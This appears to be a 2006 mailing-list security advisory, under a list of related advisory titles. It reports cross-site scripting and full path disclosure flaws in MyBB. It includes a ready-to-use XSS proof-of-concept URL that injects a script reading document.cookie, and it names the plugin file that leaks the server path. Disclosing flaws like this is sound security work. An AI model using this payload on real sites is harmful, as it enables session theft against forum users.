Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

easypage.org >> v7 sql injection

Limbo - Lite Mambo CMS Multiple Vulnerabilities

Roller Weblogger XSS vulnerability

BolinOS v.4.5.5 <= (gBRootPath) Remote File Include Vulnerability

From:	HACKERS PAL <security_(at)_soqor.net>
Date:	18.09.2006
Subject:	MyBB Full path and Cross site scripting vulnerabilities

Hello

Title : MyBB Full path and Cross site scripting vulnerabilities
Discovered by : HACKERS PAL
Copyrights : HACKERS PAL
Website : WwW.SoQoR.NeT
Email : security@soqor.net

xss
archive/index.php/forum-4.
html?GLOBALS[]=1&navbits[][name]=33&navbits[][name]=<script>alert(
document.cookie);</script>

full path
inc/plugins/hello.php

WwW.SoQoR.NeT